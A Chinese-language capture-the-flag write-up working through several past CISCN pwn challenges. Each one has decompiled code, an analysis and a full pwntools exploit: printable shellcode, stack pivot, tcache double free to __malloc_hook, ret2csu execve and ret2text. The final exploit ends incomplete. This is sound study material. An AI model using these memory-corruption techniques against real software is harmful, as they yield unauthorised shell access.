ciscn历年国赛复现

文章发布时间:

最后更新时间:

文章总字数:
11.9k

预计阅读时间:
59 分钟

备战一下今年的国赛 准备复现以往的题目来熟悉一下难度

[CISCN 2022 初赛]login_normal

1
2
3
4
5
6
7
8
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/chen/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: '/home/chen/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/'

保护全开 一开始还以为是道堆题 ida进去看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
char s[1032]; // [rsp+0h] [rbp-410h] BYREF
unsigned __int64 v4; // [rsp+408h] [rbp-8h]

v4 = __readfsqword(0x28u);
buffer();
while ( 1 )
{
memset(s, 0, 0x400uLL);
printf(">>> ");
read(0, s, 0x3FFuLL);
sub_FFD(s);
}
}

main函数接收了s 并且作为sub_ffd的参数 跟进一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
unsigned __int64 __fastcall sub_FFD(_BYTE *a1)
{
char *sa; // [rsp+8h] [rbp-48h]
char *sb; // [rsp+8h] [rbp-48h]
char *sc; // [rsp+8h] [rbp-48h]
char *sd; // [rsp+8h] [rbp-48h]
char v7; // [rsp+17h] [rbp-39h]
int v8; // [rsp+1Ch] [rbp-34h]
int v9; // [rsp+2Ch] [rbp-24h]
void *dest; // [rsp+30h] [rbp-20h]
char *s1; // [rsp+38h] [rbp-18h]
char *nptr; // [rsp+40h] [rbp-10h]
unsigned __int64 v13; // [rsp+48h] [rbp-8h]

v13 = __readfsqword(0x28u);
memset(bss_array, 0, sizeof(bss_array));
v8 = 0;
v7 = 0;
dest = 0LL;
while ( !*a1 || *a1 != '\n' && (*a1 != '\r' || a1[1] != 10) )
{
if ( v8 <= 5 )
bss_array[2 * v8] = a1;
sb = strchr(a1, ':');
if ( !sb )
{
puts("error.");
exit(1);
}
*sb = 0;
for ( sc = sb + 1; *sc && (*sc == ' ' || *sc == '\r' || *sc == '\n' || *sc == '\t'); ++sc )
*sc = 0;
if ( !*sc )
{
puts("abort.");
exit(2);
}
if ( v8 <= 5 )
bss_array[2 * v8 + 1] = sc;
sd = strchr(sc, '\n');
if ( !sd )
{
puts("error.");
exit(3);
}
*sd = 0;
a1 = sd + 1;
if ( *a1 == '\r' )
*a1++ = 0;
s1 = bss_array[2 * v8];
nptr = bss_array[2 * v8 + 1];
if ( !strcasecmp(s1, "opt") )
{
if ( v7 )
{
puts("error.");
exit(5);
}
v7 = atoi(nptr);
}
else
{
if ( strcasecmp(s1, "msg") )
{
puts("error.");
exit(4);
}
if ( strlen(nptr) <= 1 )
{
puts("error.");
exit(5);
}
v9 = strlen(nptr) - 1;
if ( dest )
{
puts("error.");
exit(5);
}
dest = calloc(v9 + 8, 1uLL);
if ( v9 <= 0 )
{
puts("error.");
exit(5);
}
memcpy(dest, nptr, v9);
}
++v8;
}
*a1 = 0;
sa = a1 + 1;
if ( *sa == '\n' )
*sa = 0;
switch ( v7 )
{
case 2:
sub_DA8(dest);
break;
case 3:
sub_EFE(dest);
break;
case 1:
sub_CBD(dest);
break;
default:
puts("error.");
exit(6);
}
return __readfsqword(0x28u) ^ v13;
}

很长的一串代码 我们需要先代码审计看一下这串代码目的是什么

1
2
3
4
5
v13 = __readfsqword(0x28u);
memset(bss_array, 0, sizeof(bss_array));
v8 = 0;
v7 = 0;
dest = 0LL;

对于几个变量进行了初始化

1
while ( !*a1 || *a1 != '\n' && (*a1 != '\r' || a1[1] != 10) )

当a1为\x00 \n \r 时跳出while循环 接着我们来分析一下while中的内容

1
2
3
4
5
6
7
8
9
if ( v8 <= 5 )
bss_array[2 * v8] = a1;
sb = strchr(a1, ':');
if ( !sb )
{
puts("error.");
exit(1);
}
*sb = 0;

首先是第一个判断 v8在while的末尾进行了一个自增运算 是用来限制执行次数的 那么这个while循环最多只能循环六次

接着在bss段上的一个全局数组存入a1 即我们在main函数中输入的s字符串

利用strchr函数查找了a1中’:’的位置 如果没有查找到的话就进入if循环 exit退出

同时将对应的’:’清零

1
2
3
4
5
6
7
for ( sc = sb + 1; *sc && (*sc == ' ' || *sc == '\r' || *sc == '\n' || *sc == '\t'); ++sc )
*sc = 0;
if ( !*sc )
{
puts("abort.");
exit(2);
}

第二次判断 先进行了一个for循环 sc指向’:’的下一个字节处

for循环的执行顺序为 先赋值再判断 最后进入循环内 而循环的内容是清零对应地址指向的内容 看到下面的if判断 显然不是我们想要的结果

所以想办法绕过for循环 那就使得’:’后的一个字节为’ ‘、’\r’、’\n’、’\t’

1
2
3
4
5
6
7
8
9
if ( v8 <= 5 )
bss_array[2 * v8 + 1] = sc;
sd = strchr(sc, '\n');
if ( !sd )
{
puts("error.");
exit(3);
}
*sd = 0;

第三个判断 要求字符串中有\n 所以上面的判断我们填入的应该是\n

1
2
3
4
5
a1 = sd + 1;
if ( *a1 == '\r' )
*a1++ = 0;
s1 = bss_array[2 * v8];
nptr = bss_array[2 * v8 + 1];

a1为’\n’后的下一个字节处

如果a1为\r 那么其下一个字长处为0

此时将s1和nptr赋值为bss_array 我们回溯一下上面 可以发现在最开始和第三次判断之前进行了赋值

1
2
bss_array[2 * v8] = a1;
bss_array[2 * v8 + 1] = sc;

最开始的a1并没有任何的修改 所以此时的s1应该为最开始我们输入的s字符串中’:’前面的字符串

而sc为’:’后面的字符串 不过由于在第三次判断时 使sd的值为0 sd为sc字符串中’\n’的 所以sc只剩下’:’后除’\n’字符串了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
if ( !strcasecmp(s1, "opt") )
{
if ( v7 )
{
puts("error.");
exit(5);
}
v7 = atoi(nptr);
}
else
{
if ( strcasecmp(s1, "msg") )
{
puts("error.");
exit(4);
}
if ( strlen(nptr) <= 1 )
{
puts("error.");
exit(5);
}
v9 = strlen(nptr) - 1;
if ( dest )
{
puts("error.");
exit(5);
}
dest = calloc(v9 + 8, 1uLL);
if ( v9 <= 0 )
{
puts("error.");
exit(5);
}
memcpy(dest, nptr, v9);
}
++v8;
}

接着来看这个if判断式 如果s1等于’opt’就进入if 否则进入else

if中将nptr的值赋值给了v7

else中计算了nptr的长度 并且减去1后赋值给了v9 最后申请了一块堆空间 将nptr以v9个字节读入到dest中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
*a1 = 0;
sa = a1 + 1;
if ( *sa == '\n' )
*sa = 0;
switch ( v7 )
{
case 2:
sub_DA8(dest);
break;
case 3:
sub_EFE(dest);
break;
case 1:
sub_CBD(dest);
break;
default:
puts("error.");
exit(6);
}

最后一个部分 清空了a1的值 sa指向a1字符串的末尾 如果有换行符赋值为0

最后进行一个switch选择分支 参数为v7

根据v7的值进入不同的函数 参数为dest

综上所述 我们需要构造的payload的格式应该为

1
2
3
     opt:(v7)(x)\n
或者是msg:(dest)(x)\n
其中x是任意单字节的垃圾数据 因为需要使得v9等于dest的长度

接着跟进一下switch分支中的各个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 __fastcall sub_CBD(const char *a1)
{
int i; // [rsp+14h] [rbp-1Ch]
unsigned __int64 v3; // [rsp+18h] [rbp-18h]

v3 = __readfsqword(0x28u);
for ( i = 0; i < strlen(a1); ++i )
{
if ( !isprint(a1[i]) && a1[i] != 10 )
{
puts("oh!");
exit(-1);
}
}
if ( !strcmp(a1, "ro0t") )
{
unk_202028 = 1;
unk_202024 = 1;
}
else
{
unk_202028 = 1;
}
return __readfsqword(0x28u) ^ v3;
}

for循环中对dest中的字符串进行了检查 isprintf检查字符是否可以被打印 同时&&关联了一个判断式 当dest中没有换行符时才能通过if判断

接着如果dest字符串的值为ro0t时 unk_202028 = unk_202024 = 1 否则unk_202028 = 1

这里可能会有疑惑 之前的函数不是将dest中的\n赋值为了0 这个0会对字符串的判断产生影响吗

1
2
3
4
5
6
7
8
9
#include<stdio.h>
#include<string.h>
int main(){
char a[20];
scanf("%s",a);
int b;
b=strcasecmp(a,"test");
printf("%d",b);
}

这里尝试了一下 答案是不会

这里还不知道这两个bss段的全局变量值会有什么影响 接着看下一个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
unsigned __int64 __fastcall sub_DA8(const char *a1)
{
unsigned int v1; // eax
size_t v2; // rax
int i; // [rsp+14h] [rbp-2Ch]
void *dest; // [rsp+18h] [rbp-28h]
unsigned __int64 v6; // [rsp+28h] [rbp-18h]

v6 = __readfsqword(0x28u);
for ( i = 0; i < strlen(a1); ++i )
{
if ( !isprint(a1[i]) && a1[i] != 10 )
{
puts("oh!");
exit(-1);
}
}
if ( unk_202028 != 1 )
{
puts("oh!");
exit(-1);
}
if ( unk_202024 )
{
v1 = getpagesize();
dest = mmap(&loc_FFE + 2, v1, 7, 34, 0, 0LL);
v2 = strlen(a1);
memcpy(dest, a1, v2);
(dest)();
}
else
{
puts(a1);
}
return __readfsqword(0x28u) ^ v6;
}

开头同样是对于dest字符串进行一个检测 接着如果unk_202028不等于1就结束进程

如果unk_202024=1就进入if分支否则进入else分支 else分支可以打印出a1 但是感觉不太好利用 还是来看看if分支

getpagesize获取了当前页的基地址 目的是为了配合mmap函数将该页的权限修改为7 即可读可写可执行

接着将a1字符串写入到这块内存空间中 最后执行 那显然是shellcode

并且还得是可见字符串shellcode 否则过不了最开始的判断

剩下一个函数就没什么好看的了 没啥作用

可见字符串shellcode要利用alpha3生成 具体的办法我相关博客有写 这里不复述 要注意的是本题的shellcode执行是call rdx

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import*
from struct import pack
io = process("./pwn")
#io = remote("node4.buuoj.cn",26603)
#io = remote("1.14.71.254",28753)
context.log_level = "debug"
elf = ELF("./pwn")
libc = ELF("./buu_libc_ubuntu18_64")
#libc = ELF("./locate")
context.terminal = ['tmux','splitw','-h']
context.arch = "amd64"
def debug():
gdb.attach(io)
pause()

shellcode = 'Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
payload1='opt:1\n'+'msg:ro0ta\n'
io.sendlineafter(">>> ",payload1)
payload2 = 'opt:2\n'+'msg:' + shellcode + 'a\n'
io.sendlineafter(">>> ",payload2)
io.interactive()

ciscn_2019_es_2

checksec看一下保护机制

zPrkOf.png

ida打开 主函数应该是vul 跟进看一下

1
2
3
4
5
6
7
8
9
10
int vul()
{
char s[40]; // [esp+0h] [ebp-28h] BYREF

memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}

只能溢出两个字长 只够我们覆盖ebp和ret addr

这种情况下只能考虑栈迁移了

先搞清楚为什么出题人会给两个read吧

栈迁移我们首先需要知道栈帧的地址

而我们知道 一个栈帧在结束的时候 ebp中存储的是父函数的栈底地址

printf函数遇到\0时就会停止输出 如果我们将s这个数组填满

那么它就会继续输出下一个字长 这样我们就泄露了ebp的内容

1
payload = b"a"*0x27+b"b"

此时我们使用gdb进行动调 目的是为了得到ebp和我们输入的s的偏移(哪怕开启了pie或者RELRO 由于分页机制的特性 偏移是不变的)

我们将断点打在vul函数的nop汇编的地址

zPySxI.png

0xa8-0x70 = 0x38 于是我们得到 变量s的起始地址为ebp_addr - 0x38

1
2
payload = (b"aaaa"+p32(system_addr)+p32(0)+p32(ebp_addr-0x38+0x10)+b"/bin/sh").ljust(0x28,b"\x00")
payload += p32(ebp_addr-0x38)+p32(leave_ret)

这里解释一下p32(ebp_addr-0x38+0x10)

我们知道 栈迁移需要一个字长的垃圾数据来平衡栈 此时aaaa的地址为ebp_addr-0x38

/bin/sh前面的三个字长则占用了0xc字节

所以此时/bin/sh的位置则位于ebp_addr-0x38+0x10

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import*
#io = process("./pwn")
io = remote("node4.buuoj.cn",28157)
context.log_level = "debug"
elf = ELF("./pwn")
io.recvuntil("Welcome, my friend. What's your name?")
payload = b"a"*0x27+b"b"
io.send(payload)
io.recvuntil("b")
ebp_addr = u32(io.recv(4))
system_addr = 0x8048400
binsh_addr = ebp_addr - 0x38+0x10
ret_addr = 0x080483a6
leave_addr = 0x080484b8
payload = (cyclic(0x4)+p32(system_addr)+p32(0xabcdabcd)+p32(binsh_addr)+b"/bin/sh").ljust(0x28,b"\x00")
payload += p32(ebp_addr-0x38)+p32(leave_addr)
io.sendline(payload)
io.interactive()

ciscn-2019-final-3

这题没想出来根据堆块地址不断申请到main_arena的chunk 然后泄露基址的思路

记录一下 扩展一下思路

checksec

ida反编译 看一下伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rax
int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
sub_C5A(a1, a2, a3);
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "welcome to babyheap");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
while ( 1 )
{
menu();
std::operator<<<std::char_traits<char>>(&std::cout, "choice > ");
std::istream::operator>>(&std::cin, &v4);
if ( v4 == 1 )
{
add();
}
else if ( v4 == 2 )
{
delete();
}
}
}

只给了两个函数 add和delete 其中delete没有置零指针 存在UAF漏洞

add函数在申请完chunk后打印了chunk的用户空间区域首地址

那么此时我们拥有的漏洞只有UAF了 只能利用这个来泄露基址和获取shell

获取shell好说 这题的环境是Ubuntu18 可以打hook 并且tcache的检查机制没有fastbin那么复杂 可以很轻松的利用double free修改fd来申请任意内存空间的chunk

那么难点落在泄露libc基址了 题目没有给我们show函数 但是相比其他堆题给了打印申请chunk的地址的机会

很明显要利用这个来替代show函数

那么此时就可以利用UAF来申请到一块位于libc基址附近内存区域的chunk

那么我们可以联想到如果unsortedbin中的单个链表如果只有一个 free chunk 那么其fd和bk域的值就会是main_arena_addr+padding

此时存放main_arena_addr的地址我们也知道 就可以在tcachebin上窜成一个链表 申请到位于main_arena_addr的堆块

那么此时add函数中的这条代码就可以输出该chunk的用户空间首地址 即泄露了main_arena_addr 我们就可以得到libc基址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import*
from struct import pack
#io = remote("node4.buuoj.cn",28487)
io = process("./pwn")
context.log_level = "debug"
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
#libc = ELF("./locate")
context.terminal = ['tmux','splitw','-h']
context.arch = "amd64"
def debug():
gdb.attach(io)
pause()

def add(index,size,payload):
io.recvuntil("choice > ")
io.sendline(b'1')
io.recvuntil("input the index")
io.sendline(str(index))
io.recvuntil("input the size")
io.sendline(str(size))
io.recvuntil("now you can write something")
io.send(payload)
io.recvuntil("gift :")

def delete(index):
io.recvuntil("choice > ")
io.sendline(b'2')
io.recvuntil("input the index")
io.sendline(str(index))

add(0,0x70,b'aaaa')
add(1,0x70,b'aaaa')
heap_addr = int(io.recv(14),16)
success(hex(heap_addr))
for i in range(1,9):
add(i+1,0x70,b'aaaa')

delete(0)
delete(0)
add(10,0x70,p64(heap_addr-0x10))
add(11,0x70,b'aaaa')

此时 我们double free chunk0 此时的链表结构如下图

按照tcachebins单向链表先进后出的原则 此时我们获得是蓝色的那个free chunk 并且tcachebin显示的链表地址是chunk的用户空间首地址

此时我们将申请的chunk的内容设置为chunk1的首地址 就可以将其作为白色的free chunk的fd域 挂载在链表上 从而我们就可以申请到对应的内存空间

而利用for循环申请的几个chunk 则是为了等下修改chunk1的size域 从而合并后面的chunk空间 获得一个大于tcachebin范围的chunk 这样就能释放到unsortedbin中了

1
2
3
4
5
payload = p64(0)+p64(0x481)
add(12,0x70,payload)
add(13,0x20,b'aaaa')
add(14,0x20,b'aaaa')
delete(1)

此时覆盖chunk1的size域 并且释放chunk1 chunk13是用来后面的double free chunk14是用来防止和top chunk合并

此时我们就成功往unsortedbin中释放了一个chunk

那么指向main_arena的地址也就是我们上面的heap_addr

我们用同样的办法 再次利用double free任意申请到一个chunk

1
2
3
delete(13)
delete(13)
add(15,0x20,p64(heap_addr))

但是此时的链表结构显示是不全的 其是根据箭头所指的数据来显示free chunk

使用tel指令可以查看其地址指向

1
2
3
4
5
6
7
8
add(16,0x20,b'aaaa')
add(17,0x20,b'bbbb')
add(18,0x20,b'aaaa')
main_arena_addr = int(io.recv(14),16)
success(hex(main_arena_addr))
libc_addr = main_arena_addr - (0x7f355d756ca0-0x7f355d36b000)
success(hex(libc_addr))
onegadget_addr = libc_addr + 0x10a38c

此时我们连续申请三个chunk 申请的第三个chunk就会分配到main_arena的空间

就成功泄露了基址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
add(19,0x60,b'aaaa')
delete(19)
delete(19)
malloc_hook = libc_addr + libc.sym['__malloc_hook']
add(20,0x60,p64(malloc_hook))
add(21,0x60,b'aaaa')
add(22,0x60,p64(onegadget_addr))
io.recvuntil("choice > ")
io.sendline(b'1')
io.recvuntil("input the index")
io.sendline(b'23')
io.recvuntil("input the size")
io.sendline(b'0x70')
io.interactive()

最后一步同理 通过同样的double free办法 获取任意写malloc_hook的机会 将其修改为onegadget 再次调用malloc的时候就会触发onegadget 获取shell

ciscn-2019-s-3

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

主体函数非常简单 利用系统调用号实现了一次输入和输出

1
2
3
4
5
6
7
8
signed __int64 vuln()
{
signed __int64 v0; // rax
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

v0 = sys_read(0, buf, 0x400uLL);
return sys_write(1u, buf, 0x30uLL);
}

还有一个gadget函数 看一下汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:00000000004004D6 ; =============== S U B R O U T I N E =======================================
.text:00000000004004D6
.text:00000000004004D6 ; Attributes: bp-based frame
.text:00000000004004D6
.text:00000000004004D6 public gadgets
.text:00000000004004D6 gadgets proc near
.text:00000000004004D6 ; __unwind {
.text:00000000004004D6 push rbp
.text:00000000004004D7 mov rbp, rsp
.text:00000000004004DA mov rax, 0Fh
.text:00000000004004E1 retn
.text:00000000004004E1 gadgets endp ; sp-analysis failed
.text:00000000004004E1
.text:00000000004004E2 ; ---------------------------------------------------------------------------
.text:00000000004004E2 mov rax, 3Bh ; ';'
.text:00000000004004E9 retn
.text:00000000004004E9 ; ---------------------------------------------------------------------------

下方的0x3b则为59 是execve的系统调用号

应该是构造rop链 但是这题没有办法泄露libc基址 从而也没有办法获取/bin/sh的地址

所以只能通过写入栈上

要想利用栈 先得获得栈的地址 发现sys_write函数可以打印出0x30字节 而buf距离rbp只有0x10

还有一点需要注意 发现vuln函数的结尾并没有leave指令 也就是说我们只需要覆盖rbp就可以控制程序执行流

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:00000000004004ED ; __unwind {
.text:00000000004004ED push rbp
.text:00000000004004EE mov rbp, rsp
.text:00000000004004F1 xor rax, rax
.text:00000000004004F4 mov edx, 400h ; count
.text:00000000004004F9 lea rsi, [rsp+buf] ; buf
.text:00000000004004FE mov rdi, rax ; fd
.text:0000000000400501 syscall ; LINUX - sys_read
.text:0000000000400503 mov rax, 1
.text:000000000040050A mov edx, 30h ; '0' ; count
.text:000000000040050F lea rsi, [rsp+buf] ; buf
.text:0000000000400514 mov rdi, rax ; fd
.text:0000000000400517 syscall ; LINUX - sys_write
.text:0000000000400519 retn
.text:0000000000400519 vuln endp ; sp-analysis failed
.text:0000000000400519
.text:0000000000400519 ; ---------------------------------------------------------------------------
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import*
io = process("./pwn")
#io = remote("node4.buuoj.cn",26678)
elf = ELF("./pwn")
context.log_level = "debug"
context.arch = "amd64"
main_addr = elf.sym['main']
payload = b"/bin/sh\x00"+b"a"*7+b"c"+p64(main_addr)
io.send(payload)
io.recvuntil("c")
io.recv(16)
stack_addr = u64(io.recvuntil("\x7f").ljust(8,b"\x00"))
gdb.attach(io)
print(hex(stack_addr))

zA0tpj.png

可以看到泄露出了栈上的地址 但是此时我们并没有办法得知其与写入栈上的/bin/sh的偏移

这里的原因暂时没有办法得知 先放着这个疑问

下面我们进行系统调用 由于需要用到三个寄存器 所以这里用到csu

具体的流程我就不过多赘述了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
rdi_addr = 0x4005a3
syscall_addr = 0x400517
int59_addr = 0x4004E2
gadget2_addr = 0x400596
gadget1_addr = 0x400580
payload = b"/bin/sh\x00"+b"a"*8+p64(int59_addr)+p64(gadget2_addr)
payload += cyclic(0x8)
payload += p64(0)
payload += p64(1)
binsh_addr = stack_addr - 0x138
payload += p64(binsh_addr+0x10)
payload += p64(0)*3
payload += p64(gadget1_addr)
payload += cyclic(56)
payload += p64(rdi_addr)
payload += p64(binsh_addr)
payload += p64(syscall_addr)
io.sendline(payload)

这里重点解释一下三个方面

1.为什么要多出一个p64(int59_addr)在栈上

这是因为call指令的问题 他跳转的是对应地址中存储的值 我们如果直接跳转到int59_addr是调用失败的

2.binsh_addr和stack_addr的偏移是怎么求出来的

我们将断点打在csu执行到call r12那一行

然后gdb看一下栈

zABw2d.png

可以计算出偏移为0x138

还有第二种办法可以查看到/bin/sh位于栈上的地址 stack 24实际上是以rsp往高地址方向

如果我们使rsp的地址减少 就可以做到查看低地址处的栈内容

1
set $rsp = $rsp-0x150

zABhxs.png

看到这里你也能够理解我们赋值给r12的binsh_addr+0x10是什么用意了吧

最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import*
io = process("./pwn")
#io = remote("node4.buuoj.cn",26678)
elf = ELF("./pwn")
context.log_level = "debug"
context.arch = "amd64"
main_addr = elf.sym['main']
payload = b"/bin/sh\x00"+b"a"*7+b"c"+p64(main_addr)
io.send(payload)
io.recvuntil("c")
io.recv(16)
stack_addr = u64(io.recvuntil("\x7f").ljust(8,b"\x00"))
binsh_addr = stack_addr - 0x138
rdi_addr = 0x4005a3
syscall_addr = 0x400517
int59_addr = 0x4004E2
gadget2_addr = 0x400596
gadget1_addr = 0x400580
payload = b"/bin/sh\x00"+b"a"*8+p64(int59_addr)+p64(gadget2_addr)
payload += cyclic(0x8)
payload += p64(0)
payload += p64(1)
payload += p64(binsh_addr+0x10)
payload += p64(0)*3
payload += p64(gadget1_addr)
payload += cyclic(56)
payload += p64(rdi_addr)
payload += p64(binsh_addr)
payload += p64(syscall_addr)
io.sendline(payload)
io.interactive()

[CISCN 2019华北]PWN1

比较简单的一题 看一下保护机制

image-20230313210003090

ida查看一下伪代码

1
2
3
4
5
6
7
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
func();
return 0;
}

main函数就很简单的清空了缓存区 顺便调用了func函数 跟进一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int func()
{
int result; // eax
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]

v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
result = system("cat /flag");
else
result = puts("Its value should be 11.28125");
return result;
}

考了一手浮点数传参 比较简单 由于这题保护开的比较少 所以也可以直接栈溢出

两种做法都演示一下吧

1.浮点数传参

看一下汇编代码

image-20230313210346196

movss是处理float精度的浮点数指令 这里顺便扩展一下知识点 处理double精度的浮点数用的是movsd

针对不同的字节数 还有movsb movsw ‘b’ ‘w’ ‘d’ 分别对应的一位 一字节 双字节

除此之外还有movzx movsx两兄弟

你可能也遇到过 我们编写如下程序

1
2
3
4
5
6
7
#include <stdio.h>
char a[0x100];
int main(){
char a = 120;
a += 9;
printf("%d",a);
}

预期结果应该是129对吧 但是最后的输出结果却是

image-20230313215600561

这是因为char类型变量只有单字节 也就是只有8位 哪怕是无符号数其范围也只有0-255 符号数范围只有-128-127

显然129就超过了其范围 需要进行扩展 例如利用int型进行一个中转

而movzx和movsx也起到同样的作用

movzx扩展的时候高位全补0 例如0xffff 补全成0x0000ffff

movsx扩展的时候根据符号位决定补1还是0 例如0xffff 是负数 那么补1 也就是0xffffffff

话归正题 我们索引一下浮点数应该是dword_4007F4

image-20230313220125452

取其值传参 0x41348000

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import*
#io = process("./pwn")
io = remote("1.14.71.254",28934)
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
elf = ELF("./pwn")
def debug():
gdb.attach(io)
pause()

io.recvuntil("Let's guess the number.")
payload = cyclic(0x2c)+p32(0x41348000)
# gdb.attach(io,'b *0x4006A2')
# pause(0)
io.sendline(payload)
io.recv()
io.recv()

2.ret2text

很简单 直接贴exp吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import*
io = process("./pwn")
#io = remote("1.14.71.254",28934)
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
elf = ELF("./pwn")
def debug():
gdb.attach(io)
pause()

io.recvuntil("Let's guess the number.")
backdoor_addr = 0x4006BE
payload = cyclic(0x38)+p32(backdoor_addr)
# gdb.attach(io,'b *0x4006A2')
# pause(0)
io.sendline(payload)
io.recv()
io.recv()

[CISCN 2019东北]PWN2

比较简单的一题 打ret2text 但是NSS平台上没给libc文件 就用libcsearch来 不过这个也有坑 老版的已经没有维护了 得安装新版本的 新版本的是联网的

Lan1keA/LibcSearcher: 🔍 LibcSearcher-ng – get symbols’ offset in glibc. (github.com)

image-20230313225350759

保护机制 我为了方便本地调试把libc依赖更换了 忽视即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF

init(argc, argv, envp);
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin();
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
v4 = 0;
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 != 2 )
break;
puts("I think you can do it by yourself");
begin();
}
if ( v4 == 3 )
{
puts("Bye!");
return 0;
}
if ( v4 != 1 )
break;
encrypt();
begin();
}
puts("Something Wrong!");
return 0;
}

begin函数跟进一下

1
2
3
4
5
6
7
8
int begin()
{
puts("====================================================================");
puts("1.Encrypt");
puts("2.Decrypt");
puts("3.Exit");
return puts("Input your choice!");
}

只有encrypt函数有点东西 跟进一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h] BYREF
__int16 v3; // [rsp+30h] [rbp-20h]

memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= '`' || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xCu;
}
else
{
s[x] ^= 0xDu;
}
}
else
{
s[x] ^= 0xEu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}

对于我们输入的字符串s进行了加密 并且打印出来 不过由于没开canary和pie 又有gets函数 这里直接栈溢出打个ret2text就好了 唯一一点要注意的是就是最后要进行栈对齐 判断方法就是gdb动调一直n下去 卡住的时候如果sp指针末尾是8即需要栈对齐

image-20230313225928768

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import*
from LibcSearcher import*
io = process("./pwn")
#io = remote("1.14.71.254",28610)
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
elf = ELF("./pwn")
def debug():
gdb.attach(io)
pause()

io.recvuntil("Input your choice!")
io.sendline(b'1')
io.recvuntil("Input your Plaintext to be encrypted")
rdi_addr = 0x0000000000400c83
puts_got = elf.got['puts']
puts_sym = 0x4006e0
back_addr = 0x400A47
start_addr = elf.sym['_start']
